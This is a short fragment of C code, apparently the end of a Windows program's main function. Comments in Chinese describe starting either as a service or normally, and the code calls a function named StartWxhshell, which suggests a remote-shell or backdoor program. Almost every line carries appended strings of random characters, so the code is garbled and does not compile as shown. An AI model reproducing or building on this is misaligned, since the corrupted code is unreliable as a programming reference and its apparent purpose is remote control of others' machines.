else *5,c Rz
if(StartFromService()) 8dK0o>|}
// 以服务方式启动 =l<iI*J. M
StartServiceCtrlDispatcher(DispatchTable); YwH./)r=
else buk=p-oi
// 普通方式启动 7+w'Y<mJ
StartWxhshell(lpCmdLine); s~26
&@3m-Z
return 0; #pdUJ2)yM
}